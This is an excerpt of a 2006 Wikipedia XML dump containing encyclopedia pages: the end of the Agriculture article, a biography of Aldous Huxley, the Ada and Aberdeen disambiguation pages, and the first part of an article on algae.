** [http://www.fao.org/waicent/portal/statistics_en.asp www.fao.org] — The UN Statistical Databases
** [http://www.fao.org/faostat www.fao.org/faostat] — The FAOSTAT Statistical Databases
** [http://www.fao.org/es/ess www.fao.org/es/ess] — The FAO Statistics Division
** [http://www.fao.org/ag/ FAO Agriculture Department] and its [http://www.fao.org/docrep/006/y5160e/y5160e00.HTM State of Food and Agriculture 2003-2004] with a focus on the impact of biotechnology
**[http://www.greenfacts.org/gmo/index.htm GM Crops in Agriculture] &amp;ndash;  A summary for non-specialists of the above FAO report by [[GreenFacts]].
* {{dmoz|Science/Environment/Agriculture/ |Agriculture}}
* [http://imperium.lenin.ru/~kaledin/tmp/agricltr.txt ''Agriculture: Demon Engine of Civilization''] by John Zerzan
* have a [http://www.geocities.com/ferzenr/farmaze.htm farmaze], for food, from afar
*[http://www.ukagriculture.com/countryside/history_of_countryside/countryside_history.html History of UK Agriculture]

===Specific countries===
* [http://www.agr.gc.ca/ www.agr.gc.ca] —  Agriculture &amp; Agri-Food Canada
* [http://www.nationalpak.com www.nationalpak.com] — Agriculture of Pakistan
* [http://www.nationalacademies.org/agriculture/ www.nationalacademies.org] — Agriculture at the United States National Academies
* [http://www.usda.gov/ www.usda.gov] — United States Department of Agriculture
**[http://www.fas.usda.gov/currwmt.html Current World Production, Market and Trade Reports] from the Foreign Agricultural Service
**[http://www.ers.usda.gov/ USDA's main source of economic information and research] from the Economic Research Service
**[http://www.ars.usda.gov/ In-house Research Arm] from the [[Agricultural Research Service]]
**[http://www.nal.usda.gov/ National Agricultural Library]

[[Category:Agriculture| ]]

[[ar:زراعة]]
[[an:Agricultura]]
[[ast:Agricultura]]
[[bg:Селско стопанство]]
[[ca:Agricultura]]
[[cs:Zemědělství]]
[[cy:Amaeth]]
[[da:Landbrug]]
[[de:Landwirtschaft]]
[[et:Põllumajandus]]
[[es:Agricultura]]
[[eo:Agrikulturo]]
[[fa:کشاورزی]]
[[fr:Agriculture]]
[[fy:Lânbou]]
[[gl:Agricultura]]
[[ko:농업]]
[[io:Agrokultivo]]
[[id:Pertanian]]
[[ia:Agricultura]]
[[iu:ᐱᕈᕐᓰᓂᖅ ᓂᐅᕐᕈᑎᒃᓴᓕᐊᕆᓪᓗᒋᑦ]]
[[is:Landbúnaður]]
[[it:Agricoltura]]
[[he:חקלאות]]
[[ka:სოფლის მეურნეობა]]
[[lad:Agrikultura]]
[[la:Agricultura]]
[[li:Landboew]]
[[hu:Mezőgazdaság]]
[[mk:Земјоделство]]
[[nah:Millacayotl]]
[[nl:Landbouw]]
[[nds:Bueree]]
[[ja:農業]]
[[no:Landbruk]]
[[nn:Landbruk]]
[[pl:Rolnictwo]]
[[pt:Agricultura]]
[[ro:Agricultură]]
[[ru:Сельское хозяйство]]
[[sh:Poljoprivreda]]
[[scn:Agricultura]]
[[simple:Agriculture]]
[[sl:Kmetijstvo]]
[[sr:Пољопривреда]]
[[su:Agrikultur]]
[[fi:Maatalous]]
[[sv:Jordbruk]]
[[tl:Agrikultura]]
[[ta:வேளாண்மை]]
[[vi:Nông nghiệp]]
[[uk:Сільське господарство]]
[[zh:农业]]</text>
    </revision>
  </page>
  <page>
    <title>Aldous Huxley</title>
    <id>628</id>
    <revision>
      <id>39834738</id>
      <timestamp>2006-02-16T04:24:15Z</timestamp>
      <contributor>
        <username>Kriegman</username>
        <id>181058</id>
      </contributor>
      <comment>/* External links */ link to interviews</comment>
      <text xml:space="preserve">'''Aldous Leonard Huxley''' ([[July 26]], [[1894]] &amp;ndash; [[November 22]], [[1963]]) was a [[United Kingdom|British]] [[writer]] who emigrated to the [[United States]]. He was a member of the famous [[Huxley family]] who produced a number of brilliant scientific minds. Best known for his [[novel]]s and wide-ranging output of [[essay]]s, he also published [[short stories]], [[poetry]], [[travel writing]], and [[film]] stories and scripts. Through his novels and essays Huxley functioned as an examiner and sometimes critic of social mores, societal norms and ideals, and possible misapplications of science in [[human]] [[life]]. While his earlier concerns might be called &quot;[[humanist]],&quot; ultimately, he became quite interested in &quot;spiritual&quot; subjects like [[parapsychology]] and [[mysticism|mystically]] based [[philosophy]], which he also wrote about. By the end of his life, Huxley was considered, in certain circles, a 'leader of modern thought'.

==Biography==
 
===Early years===
[[Image:Huxley-Arnold family tree.png|thumb|right|Family tree]]
Huxley was born in [[Godalming]], [[Surrey]], [[England]]. He was the son of the [[writer]] [[Leonard Huxley (writer)|Leonard Huxley]] by his first wife, [[Julia Arnold]]; and grandson of [[Thomas Henry Huxley]], one of the most important naturalists of the 19th Century, a man known as &quot;Darwin's Bulldog.&quot; His brother [[Julian Huxley]] was a [[biology|biologist]] also noted for his [[evolution|evolutionary]] theories. Huxley understandably excelled in the areas he took up professionally, for on his father's side were a number of noted men of [[science]], while on his mother's were people of [[literature|literary]] accomplishment. 

Huxley was a lanky, delicately framed child who was gifted intellectually. His father was a professional [[herbalist]] as well as an author, so Aldous began his learning in his father's well-equipped [[botanical]] [[laboratory]], then continued in a school named Hillside, which his mother supervised for several years until she became terminally ill. From the age of nine, Aldous was then educated in the British [[boarding school]] system. He took readily to the handling of ideas. 

His mother Julia died in [[1908]], when Aldous was only fourteen, and his sister Roberta died of an unrelated incident in the same month. Three years later Aldous suffered an illness ([[Keratitis|keratitis punctata]]) which seriously damaged his eyesight. His older brother Trev committed [[suicide]] in 1914. Aldous's near-[[blindness]] disqualified him from service in [[World War I]]. Once his eyesight recovered, he was able to read [[English literature]] at [[Balliol College, Oxford|Balliol College]], [[University of Oxford|Oxford]], where he was a member of the [[Cambridge Apostles]].

Maturing as a lean young man well over six feet in height, the cerebrotonic Huxley's initial interest in literature was primarily intellectual. While he was noted for his personal kindliness, only considerably later (some say under the influence of such friends as [[D.H. Lawrence]]) did he heartily embrace ''feelings'' as matters of importance in his evolving personal philosophy and literary expression.

Following his education at [[Balliol]], Huxley was financially indebted to his father and had to earn a living. For a short while in [[1918]], he was employed acquiring provisions at the [[Air Ministry]]. But never desiring a career in administration (or in business), Huxley's lack of inherited means propelled him into applied literary work.

Huxley had completed his first (unpublished) novel at the age of seventeen and began writing seriously in his early twenties. He wrote great novels on dehumanising aspects of scientific progress, most famously ''[[Brave New World]]'', and on [[pacifism|pacifist]] themes (e.g. ''[[Eyeless in Gaza]]''). Huxley was strongly influenced by [[F. Matthias Alexander]] and included him as a character in ''Eyeless in Gaza''.

===Middle years===
Already a noted [[satire|satirist]] and social thinker, during [[World War I]], Huxley spent much of his time at [[Garsington Manor]], home of Lady [[Ottoline Morrell]]. Later, in ''[[Crome Yellow]]'' ([[1921]]) he caricatured the Garsington lifestyle. He married Maria Nys, whom he had met at Garsington. They had one child, Matthew, who grew up to be an [[epidemiologist]].

Huxley moved to [[Hollywood, California| Hollywood]], [[California]] in [[1937]] with his wife and friend [[Gerald Heard]]. Heard introduced Huxley to [[Vedanta]] and [[meditation|meditating]]. In Huxley's 1937 book ''Ends and Means'', most people in modern civilization agree that they want a world of 'liberty, peace, justice, and brotherly love', though they haven't been able to agree on how to achieve it. His book goes on to explore why the confusion or disagreement is there and what might be done about it.

In [[1938]] Huxley befriended [[J. Krishnamurti]], whose teachings he greatly admired. He also became a [[Vedantist]] in the circle of [[Swami]] [[Swami Prabhavananda | Prabhavananda]], and he also introduced [[Christopher Isherwood]] to this circle. Not long after, Huxley wrote his book on widely held spiritual values and ideas, ''The Perennial Philosophy'', which discussed teachings of the world's great mystics.

For most of his life since the illness in his teens which left Huxley nearly blind, his eyesight was poor (despite the partial recovery which had enabled him to study at Oxford). Around 1939 he heard of the [[Bates Method]] for [[Natural Vision Improvement]], and of a teacher (Margaret Corbett) who was able to teach him in the method. He claimed his sight improved dramatically as a result of using the method, then later wrote a book about it (The Art of Seeing) which was published in 1942 (US), 1943 (UK). He reported that for the first time in over 25 years, he was able to read without [[glasses|spectacles]] and without strain. He was a [[screenwriter]] for the [[1940]] production of [[Pride and Prejudice]].

===Later years===
After World War II Huxley applied for [[United States]] citizenship, but was denied because he would not say he would take up arms to defend America. He became a [[vegetarianism|vegetarian]]. Thereafter, his works were strongly influenced by [[mysticism]] and his experiences with the [[Psychedelics, dissociatives and deliriants|hallucinogenic drug]] [[mescaline]], to which he was introduced by the psychiatrist [[Humphry Osmond]] in [[1953]]. His years on psychoactive drugs were described as a paradise, washed down with [[bourbon]], generally. He was a pioneer of self-directed psychedelic drug use in a search for enlightenment, famously taking 100 micrograms of [[LSD]] as he lay dying. Huxley's [[psychedelic]] [[Recreational drug use|drug]] experiences are described in the essays ''[[The Doors of Perception]]'' (the title deriving from some lines in the book ''[[The Marriage of Heaven and Hell]]'' by [[William Blake]]) and ''[[Heaven and Hell (essay)|Heaven and Hell]]''. The title of the former became the inspiration for the naming of the [[Rock (music)|rock]] band, [[The Doors]]. Some of his writings on psychedelics became frequent reading among early [[hippies]].

Huxley's main interest was not in just ''anything'' vague, mysterious, or subjective, but in what is sometimes termed &quot;higher mysticism&quot;; he liked the term &quot;[[perennial philosophy]]&quot; that he used as the title of his noted book on the topic. During the 1950s, Huxley's interest in the related field of [[psychical research]] grew keener.

Huxley's wife, Maria, died of [[breast cancer]] in [[1955]], and in [[1956]] he remarried, to [[Laura Huxley|Laura Archera]], who was herself an author and who wrote a [[biography]] of Aldous. In [[1960]], Huxley was diagnosed with [[laryngeal cancer|throat cancer]]. In the years that followed, with his health deteriorating, he wrote the utopian novel ''[[Island (novel)|Island]]'', and gave lectures on &quot;Human Potentialities&quot; at the [[Esalen]] institute. In [[1959]] Huxley, who remained a [[British Citizen]], turned down an offer of a [[Knight Bachelor]] by the [[Harold_MacMillan#Government|Macmillan government]].

His ideas were foundational to the forming of the [[Human Potential Movement]]. He was also invited to speak at several prestigious American universities. At a speech given in [[1961]] at the California Medical School in [[San Francisco]], Huxley warned: &quot;There will be in the next generation or so a pharmacological method of making people love their servitude and producing dictatorship without tears, so to speak, producing a kind of painless [[concentration camp]] for entire societies so that people will in fact have their liberties taken away from them but will rather enjoy it,&quot; an idea not dissimilar to his contemporary writer [[J. B. Priestley]]'s idea in [[The Magicians]].

Huxley's views on the proper roles of science and technology (as he portrayed these, say, in ''Island'') are akin to some other noted English and American thinkers of the twentieth century, such as [[Lewis Mumford]] and Huxley's friend [[Gerald Heard]] (and, in some ways, [[Buckminster Fuller]] and [[E.F. Schumacher]]). Clearly, these men found descendants in some significant movers of a younger generation, e.g., [[Stewart Brand]].

Via Gerald Heard, Huxley was introduced to the young [[Huston Smith]], who went on to become a prolific and famous scholar on the religions of man. The two friends acquianted Smith with Vedanta and meditative practice. Later, while Huxley was a guest professor at [[M.I.T.]], he made introductions between Smith and [[Timothy Leary]] that lead to epiphanies Smith covers in his later book, ''Cleansing of the Doors of Perception''.&lt;sup&gt;[http://www.amazon.com/gp/product/1591810086]&lt;/sup&gt;

Amongst humanists, Huxley was considered an intellectual's intellectual. Although his financial circumstances had forced him to churn out articles and books, his thinking and ''best'' writing earned him an exalted esteem. His books were frequently on the required reading lists of English and modern philosophy courses in American colleges and universities. He was one of the twentieth-century thinkers honoured in the Scribners Publishing's &quot;Leaders of Modern Thought&quot; series (a volume of biography and literary criticism by Philip Thody, ''Aldous Huxley'').

===Death and afterwards===
On his deathbed, unable to speak, he made a written request to his wife for &quot;[[LSD]], 100 [[microgram|µg]], [[Intramuscular injection|i.m.]]&quot; She obliged, and he died peacefully the following morning, [[November 22]], [[1963]]. Media coverage of his death was overshadowed by news of the [[assassination of President John F. Kennedy]], which occurred on the same day, as did the death of the [[Ireland|Irish]] author [[C. S. Lewis]].

In all of Huxley's mature writings, one finds an awareness that seems to bridge the gap between &quot;[[The Two Cultures]]&quot; &amp;ndash; the [[sciences]] and the [[humanities]]. This gulf posed a potentially enormous problem, one that was recognized by other thinkers during Huxley's lifetime, such as [[C.P. Snow]]. The interest among professors of humanities and [[liberal arts]] in Huxley's work, both during the writer's lifetime and afterwards, rests on this consciousness on the part of the author, and of course on the artful and often humorous way in which he expressed himself.

Huxley's [[satirical]], [[dystopia]]n, and [[utopia]]n novels seldom fail to stimulate thought. The same may be said for his essays and essay collections. Perhaps his main message is the tragedy that frequently follows from [[egocentrism]], self-centredness, and selfishness.

==Films==

Huxley wrote many [[screenplay]]s, and many of his novels were later adapted for film or [[television]]. 

Notable works include the original screenplay for [[The_Walt_Disney_Company|Disney]]'s animated ''[[Alice in Wonderland (1951 film)|Alice in Wonderland]]'', two productions of ''[[Brave New World]]'', one of ''[[Point Counter Point]]'', one of ''[[Eyeless in Gaza]]'', and one of ''[[Ape and Essence]]''. He was one of the screenwriters for the 1940 version of ''[[Pride and Prejudice (1940 movie)|Pride and Prejudice]]'' and co-wrote the screenplay for the 1944 version of ''[[Jane Eyre (1944 movie)|Jane Eyre]]'' with [[John Houseman]].  Director [[Ken Russell]]'s [[1971]] film ''[[The Devils (film)|The Devils]]'', starring [[Vanessa Redgrave]], is adapted from Huxley's ''[[The Devils of Loudun]]'', and a 1990 made-for-television film adaptation of ''Brave New World'' was directed by [[Burt Brinckeroffer]]

==Selected works==

===Novels===
*''[[Crome Yellow]]'' ([[1921]])
*''[[Antic Hay]]'' ([[1923]])
*''[[Those Barren Leaves]]'' ([[1925]])
*''[[Point Counter Point]]'' ([[1928]])
*''[[Brave New World]]'' ([[1932]])
*''[[Eyeless in Gaza]]'' ([[1936]])
*''[[After Many a Summer]]'' ([[1939]])
*''[[Time Must Have a Stop]]'' ([[1944]])
*''[[Ape and Essence]]'' ([[1948]])
*''[[The Genius and the Goddess]]'' ([[1955]])
*''[[Island (novel)|Island]]'' ([[1962]])

===Short stories===
*''[[Limbo]]'' ([[1920]])
*''[[Mortal Coils]]'' ([[1922]])
*''[[Brief Candles]]'' ([[1930]])
*''[[Two or Three Graces]]''
*''[[Little Mexican]]''
*''[[The Young Arquimedes]]''
*''[[Jacob's Hands; A Fable]]'' (Late [[1930s]])

===Poetry===
*''[[The Burning Wheel]]'' ([[1916]])
*''Jonah'' ([[1917]])
*''[[The Defeat of Youth]]'' ([[1918]])
*''[[Leda]]'' ([[1920]])
*''[[Arabia Infelix]]'' ([[1929]])
*''[[The Cicadias and Other Poems]]'' ([[1931]])

===Travel writing===
*''[[Along The Road]]'' ([[1925]])
*''[[John 18:38|Jesting Pilate]]'' ([[1926]])
*''[[Beyond the Mexique Bay]]'' ([[1934]])

===Essays===
*''[[Do What You Will]]'' ([[1929]])
*''[[The Olive Tree (Essay)|The Olive Tree]]'' ([[1936]])
*''[[The Art of Seeing]]'' ([[1942]])
*''[[Tomorrow and Tomorrow and Tomorrow]]'' ([[1952]])
*''[[The Doors of Perception]]'' ([[1954]])
*''[[Heaven and Hell (essay)|Heaven and Hell]]'' ([[1956]])
*''[[Brave_New_World#Brave New World Revisited|Brave New World Revisited]]'' ([[1958]])
*''[[Literature and Science]]'' ([[1963]])

===Philosophy===
*''[[Ends and Means]]'' ([[1937]])
*''[[The Perennial Philosophy]]'' ([[1944]]) ISBN 006057058X

===Biography===

*''[[Grey Eminence]]'' ([[1941]])
*''[[The Devils of Loudun]]'' ([[1952]])

===Children's literature===
*''[[The Crows of Pearblossom]]'' ([[1967]])

===Collections===

*''[[Text and Pretext]]'' ([[1933]])
* ''[[Collected Short Stories]]'' ([[1957]])
* ''[[Moksha: Writings on Psychedelics and the Visionary Experience]]'' ([[1977]])

== Quotes ==
*On [http://www.cybernation.com/quotationcenter/quoteshow.php?type=author&amp;id=4470 truth]: &quot;Great is truth, but still greater, from a practical point of view, is silence about truth. By simply not mentioning certain subjects... totalitarian propagandists have influenced opinion much more effectively than they could have by the most eloquent denunciations.&quot;

*On the [[New World Order]][http://www.cybernation.com/quotationcenter/quoteshow.php?type=author&amp;id=4470] (1959): &quot;And it seems to me perfectly in the cards that there will be within the next generation or so a pharmacological method of making people love their servitude, and producing … a kind of painless concentration camp for entire societies, so that people will in fact have their liberties taken away from them but will rather enjoy it, because they will be distracted from any desire to rebel by propaganda, brainwashing, or brainwashing enhanced by pharmacological methods.&quot; 

*On [http://www.cybernation.com/quotationcenter/quoteshow.php?type=author&amp;id=4470 social organizations]: &quot;One of the many reasons for the bewildering and tragic character of human existence is the fact that social organization is at once necessary and fatal. Men are forever creating such organizations for their own convenience and forever finding themselves the victims of their home-made monsters.&quot;

==Trivia==
*He was six feet four and a half inches tall;
*Studied ballet for several years;
*Was [[George_Orwell|George Orwell's]] [[French language|French]] teacher for a term at [[Eton College|Eton]].
*Is shown on the cover of [[The Beatles]] album [[Sgt. Pepper's Lonely Hearts Club Band]] as number 18, in the top right hand corner.

==External links==
{{wikiquote}}
* [http://www.yoism.org/?q=node/143 Video interviews of Huxley] from the 1950's, exploring ''Brave New World'', ''Island'', and psychedelics
* [http://movies2.nytimes.com/gst/movies/movie.html?v_id=158613 The Gravity of Light]].  
* {{isfdb name | id=Aldous_Huxley | name=Aldous Huxley}}
* {{gutenberg author | id=Aldous_Huxley | name=Aldous Huxley}}
* [http://huxley.net/bnw/index.html Brave New World], the complete book
* [http://somaweb.org/ SomaWeb: Extensive Aldous Huxley bibliography and links to online material]
* [http://island.org/ Island Web: Creating a New Culture as Inspired by the Ideas of Aldous Huxley] Website of the Island Foundation
* [http://sunsite.berkeley.edu/VideoTest/hux1.ram The Ultimate Revolution] (talk at [[University of California, Berkeley|UC Berkeley]], March 20, 1962)

[[Category:Polymaths|Huxley, Aldous]]
[[Category:Natives of Surrey|Huxley, Aldous]]
[[Category:Huxley family|Huxley, Aldous]]
[[Category:Former students of Balliol College, Oxford|Huxley, Aldous]]
[[Category:English novelists|Huxley, Aldous]]
[[Category:British science fiction writers|Huxley, Aldous]]
[[Category:English science fiction writers|Huxley, Aldous]]
[[Category:English poets|Huxley, Aldous]]
[[Category:English essayists|Huxley, Aldous]]
[[Category:English satirists|Huxley, Aldous]]
[[Category:English short story writers|Huxley, Aldous]]
[[Category:English travel writers|Huxley, Aldous]]
[[Category:Psychedelic advocates and proponents|Huxley, Aldous]]
[[Category:Human Potential Movement|Huxley, Aldous]]
[[Category:Vegetarians|Huxley, Aldous]]

[[cs:Aldous Huxley]]
[[da:Aldous Huxley]]
[[de:Aldous Huxley]]
[[es:Aldous Huxley]]
[[eo:Aldous HUXLEY]]
[[eu:Aldous Huxley]]
[[fr:Aldous Huxley]]
[[hr:Aldous Huxley]]
[[it:Aldous Huxley]]
[[he:אלדוס האקסלי]]
[[ka:ჰაქსლი, ოლდოს ლეონარდ]]
[[nl:Aldous Huxley]]
[[ja:オルダス・ハクスリー]]
[[pl:Aldous Huxley]]
[[pt:Aldous Huxley]]
[[ru:Хаксли, Олдос Леонард]]
[[simple:Aldous Huxley]]
[[sr:Алдо Хаксли]]
[[fi:Aldous Huxley]]
[[sv:Aldous Huxley]]
[[th:อัลดัส ฮักซเลย์]]
[[tr:Aldous Huxley]]</text>
    </revision>
  </page>
  <page>
    <title>Abstract Algebra</title>
    <id>629</id>
    <revision>
      <id>15899158</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Abstract algebra]]
</text>
    </revision>
  </page>
  <page>
    <title>Ada</title>
    <id>630</id>
    <revision>
      <id>41416699</id>
      <timestamp>2006-02-27T04:27:24Z</timestamp>
      <contributor>
        <username>TShilo12</username>
        <id>153537</id>
      </contributor>
      <comment>dab Hebrew</comment>
      <text xml:space="preserve">{{Wiktionarypar2|ADA|Ada}}

Meanings of '''Ada''':

=== People ===
* Variant [[transliteration]] of [[Hebrew language|Hebrew]] [[Adah]].
* [[Ada Lovelace|Ada, Lady Lovelace]]
* Ada, sister of [[Charlemagne]], for whom the [[Ada Gospels]] at Trier were produced.
* [[Ada of Caria|Ada]], [[satrap]] of [[Caria]], deposed by her brother [[Idrieus]], restored by [[Alexander the Great]]

=== Places ===
* [[Ada, Afghanistan]]
* [[Ada, Saskatchewan]], [[Canada]]
* [[Ada, Ghana]]
* [[Ada, Greece]]
* [[Ada, Nigeria]]
* [[Ada, Serbia]]

*[[Ada, Oregon]], USA (historical)
*[[Ada County, Idaho]], USA
*[[Ada Division, Oklahoma]], USA
*[[Ada, Alabama]], USA
*[[Ada, Arkansas]], USA
*[[Ada, Kansas]], USA
*[[Ada, Louisiana]], USA
*[[Ada, Michigan]], USA
*[[Ada, Minnesota]], USA
*[[Ada, Ohio]], USA
*[[Ada, Oklahoma]], USA
*[[Ada, Virginia]], USA
*[[Ada, Wisconsin]], USA
*[[Ada, West Virginia]], USA
*[[Ada Township, Michigan]], USA
*[[Ada Township, North Dakota]], USA
*[[Ada Township, South Dakota]], USA

===[[Acronym_and_initialism|Initialism]]s===
* [[Aeronautical Development Agency]] of [[India]]'s Ministry of Defence
* [[Air Defense Artillery]] a branch of the [[United States Army]]
* [[American Decency Association]]
* [[American Dental Association]]
* [[American Diabetes Association]]
* [[American Dietetic Association]]
* [[Americans For Democratic Action]]
* [[Americans with Disabilities Act of 1990|Americans with Disabilities Act]]
* [[Aotearoa Digital Arts]] - http://ada.waikato.ac.nz/
* [[United_States_Attorney|Assistant district attorney]]
* Average Daily Attendance

=== Other ===
* [[Ada programming language]]
* ''[[Ada (orchid)|Ada]]'', a genus of [[orchid]]s
* The short title of ''[[Ada or Ardor: A Family Chronicle]]'', a novel by [[Vladimir Nabokov]] (1969).
* [[Ada (demon)|Ada]], A [[demon]], after which [[Adasaurus]] was named.
* [[Ada (film)|Ada]] , A film directed by [[Daniel Mann]], with [[Susan Hayward]] y [[Dean Martin]].
* means &quot;father&quot; in Sindarin Elvish
{{TLAdisambig}}

[[da:Ada]]
[[de:Ada]]
[[es:ADA]]
[[eo:Ada]]
[[fr:Ada]]
[[hu:Ada]]
[[nn:Ada]]
[[pl:Ada]]
[[sv:Ada]]
[[tr:Ada (anlam ayrım)]]</text>
    </revision>
  </page>
  <page>
    <title>Aberdeen (disambiguation)</title>
    <id>632</id>
    <revision>
      <id>39241965</id>
      <timestamp>2006-02-11T20:13:26Z</timestamp>
      <contributor>
        <username>Kjkolb</username>
        <id>107439</id>
      </contributor>
      <comment>removed pipe link as per MoS</comment>
      <text xml:space="preserve">'''Aberdeen''' may refer to:

=== Places ===
In [[Scotland]]:
* [[Aberdeen]], a major port city in north-east Scotland

In [[Australia]]:
* [[Aberdeen, New South Wales]]

In [[Canada]]:

* [[Aberdeen Centre]], an Asian-themed shopping mall in Richmond, British Columbia.
* [[Aberdeen, British Columbia]] - two locations:
** [[Aberdeen, Fraser Valley Regional District, British Columbia]]
** [[Aberdeen, Thompson-Nicola Regional District, British Columbia]]
* [[Aberdeen, New Brunswick]]
* [[Aberdeen, Nova Scotia]]
* [[New Aberdeen, Nova Scotia]]
* [[Aberdeen Bay, Nunavut]]
* [[Aberdeen Lake, Nunavut]]
* [[Aberdeen, Ontario]] - two locations:
** [[Aberdeen, Ontario (Grey County)]]
** [[Aberdeen, Ontario (Prescott and Russell County)]]
* [[Aberdeen Township, Ontario]]
* [[Macdonald, Merideth and Aberdeen Additional, Ontario]]
* [[Sheen-Esher-Aberdeen-et-Malakoff, Quebec]]
* [[Aberdeen, Saskatchewan]]
* [[Aberdeen No. 373, Saskatchewan]]

In [[China]]:
* [[Aberdeen Harbour, Hong Kong]]

In [[South Africa]]:
* [[Aberdeen, South Africa]]

In the [[United States]]:
* [[Aberdeen, Arkansas]]
* [[Aberdeen, California]]
* [[Aberdeen, Florida]]
* [[Aberdeen, Georgia]]
* [[Aberdeen, Idaho]]
* [[Aberdeen, Indiana]]
* [[Aberdeen, Kentucky]]
* [[Aberdeen, Massachusetts]]
* [[Aberdeen, Maryland]]
* [[Aberdeen, Mississippi]]
* [[Aberdeen, Montana]]
* [[Aberdeen Township, New Jersey]]
* [[Aberdeen, North Carolina]]
* [[Aberdeen, Ohio]]
* [[Aberdeen, Pennsylvania]]
* [[Aberdeen, South Dakota]]
* [[Aberdeen, Texas]]
* [[Aberdeen, Washington]]
* [[Aberdeen, West Virginia]]

=== Other ===
* [[Aberdeen (band)]], an American rock band.
* [[Aberdeen (movie)]], a movie (2000) directed by [[Hans Petter Moland]], starring [[Stellan Skarsgård]] and [[Lena Headey]].
*[[Aberdeen City (band)]]
* [[Aberdeen Proving Ground]], a [[U.S. Army]] installation in [[Maryland]].

{{disambig}}

[[cs:Aberdeen]]
[[de:Aberdeen (Begriffsklärung)]]
[[et:Aberdeen (täpsustus)]]
[[fr:Aberdeen (homonymie)]]
[[gl:Aberdeen]]
[[pl:Aberdeen]]</text>
    </revision>
  </page>
  <page>
    <title>Algae</title>
    <id>633</id>
    <revision>
      <id>42158817</id>
      <timestamp>2006-03-04T05:14:26Z</timestamp>
      <contributor>
        <ip>68.103.121.196</ip>
      </contributor>
      <comment>added link to Cyanosite, the premier webserver for bluegreen algae</comment>
      <text xml:space="preserve">:''This article is about an organism. See [[algae programming language]] for a [[programming language]] in [[computing]].''
[[Image:Laurencia.jpg|300px|thumb|right|A seaweed (''Laurencia'') up close: the &quot;branches&quot; are multicellular and only about 1 mm thick. Much smaller algae are seen growing attached to the structure extending upwards in the lower right quarter]]
'''Algae''' (singular ''alga'') encompass several different groups of living organisms that capture light energy through [[photosynthesis]], converting inorganic substances into simple sugars using the captured energy.  Algae have been traditionally regarded as simple [[plant]]s, and some are closely related to the [[embryophyte|higher plant]]s.  Others appear to represent different [[protist]] groups, alongside other organisms that are traditionally considered more animal-like (that is, [[protozoa]]).  Thus algae do not represent a single evolutionary direction or line, but a level of organization that may have developed several times in the early history of life on earth.

Algae range from single-celled organisms to multi-cellular organisms, some with fairly complex differentiated form and (if marine) called [[seaweed]]s. All lack [[leaf|leaves]], [[root]]s, [[flower]]s, and other organ structures that characterize higher plants.  They are distinguished from other [[protozoa]] in that they are [[autotrophic|photoautotrophic]], although this is not a hard and fast distinction as some groups contain members that are [[mixotrophic]], deriving energy both from photosynthesis and uptake of organic carbon either by [[osmotrophy]], [[myzocytosis|myzotrophy]], or [[phagocytosis|phagotrophy]]. Some unicellular species rely entirely on external energy sources and have reduced or lost their photosynthetic apparatus.

All algae have photosynthetic machinery ultimately derived from the [[cyanobacteria]], and so produce [[oxygen]] as a by-product of photosynthesis, unlike non-cyanobacterial photosynthetic bacteria.

Algae are usually found in damp places or bodies of water and thus are common in terrestrial as well as aquatic environments.  However, terrestrial algae are usually rather inconspicuous and far more common in moist, tropical regions than dry ones, because algae lack vascular tissues and other adaptions to live on land. Algae can endure dryness and other conditions in symbiosis with a fungus as [[lichen]]. 

The various sorts of algae play significant roles in aquatic ecology.  Microscopic forms that live suspended in the water column&amp;mdash;called '''[[phytoplankton]]'''&amp;mdash;provide the food base for most marine [[food chain]]s. In very high densities (so-called [[algal bloom]]s) these algae may discolor the water and outcompete or poison other life forms.  [[Seaweed]]s grow mostly in shallow marine waters. Some are used as human food or harvested for useful substances such as [[agar]] or fertilizer.  The study of algae is called [[phycology]] or algology.

== Relationships among algal groups ==
=== Prokaryotic algae ===
Traditionally the [[cyanobacteria]] have been included among the algae, referred to as the ''cyanophytes'' or ''Blue-green Algae'', (the term &quot;algae&quot; refers to any aquatic organisms capable of photosynthesis)[http://www.ucmp.berkeley.edu/bacteria/cyanolh.html], though some recent treatises on algae specifically exclude them.  [[Cyanobacteria]] are some of the oldest organisms to appear in the [[fossil record]], dating back about 3.8 billion years ([[Precambrian]]). Ancient cyanobacteria likely produced much of the [[oxygen]] in the Earth's atmosphere.  

[[Cyanobacteria]] can be unicellular, colonial, or filamentous. They have a [[prokaryote|prokaryotic]] cell structure typical of bacteria and conduct photosynthesis directly within the [[cytoplasm]], rather than in specialized organelles. Some filamentous [[blue-green algae]] have specialized cells, termed heterocysts, in which [[nitrogen fixation]] occurs.
[http://www.biologie.uni-hamburg.de/b-online/e42/42a.htm]

=== Eukaryotic algae ===
All other algae are [[eukaryote]]s and conduct photosynthesis within membrane-bound structures (organelles) called [[chloroplast]]s.  Chloroplasts contain DNA and are similar in structure to cyanobacteria, presumably representing reduced cyanobacterial [[endosymbiotic theory|endosymbionts]].  The exact nature of the chloroplasts is different among the different lines of algae, reflecting different endosymbiotic events.  There are three groups ([[Archaeplastida]]) that have ''primary'' chloroplasts:

* [[Green alga]]e, together with [[embryophyte|higher plant]]s
* [[Red alga]]e
* [[Glaucophyte]]s

In these groups, the chloroplast is surrounded by two membranes and probably developed through a single endosymbiosis.  The chloroplasts of red algae have a more or less typical cyanobacterial pigmentation, while those of the green alga have chloroplasts with chlorophyll ''a'' and ''b'', the latter found in some cyanobacteria and not most.  Higher plants are pigmented similarly to green algae and probably developed from them.

Two other groups of algae have green chloroplasts containing chlorophyll ''b'': 

* [[Euglenid]]s and 
* [[Chlorarachniophyte]]s.  

These are surrounded by three and four membranes, respectively, and were probably retained from an ingested green alga.  Those of the chlorarchniophytes contain a small nucleomorph, which is the remnant of the alga's [[cell nucleus|nucleus]].  It has been suggested that the euglenid chloroplasts only have three membranes because they were acquired through [[myzocytosis]] rather than [[phagocytosis]].

The remaining algae all have chloroplasts containing chlorophylls ''a'' and ''c''.  The latter chlorophyll type is not known from any prokaryotes or primary chloroplasts, but genetic similarities with the red algae suggest a relationship there.  These groups include:

* [[Heterokont]]s (e.g., golden algae, diatoms, brown algae)
* [[Haptophyte]]s (e.g., coccolithophores)
* [[Cryptomonad]]s
* [[Dinoflagellate]]s

In the first three of these groups ([[Chromista]]), the chloroplast has four membranes, retaining a nucleomorph in cryptomonads, and they likely share a common pigmented ancestor.  The typical dinoflagellate chloroplast has three membranes, but there is considerable diversity in chloroplasts among the group, as some members have acquired theirs from different sources.  The [[Apicomplexa]], a group of closely related parasites, also have [[plastid]]s though not actual chloroplasts, which appear to have a common origin with those of the dinoflagellates.

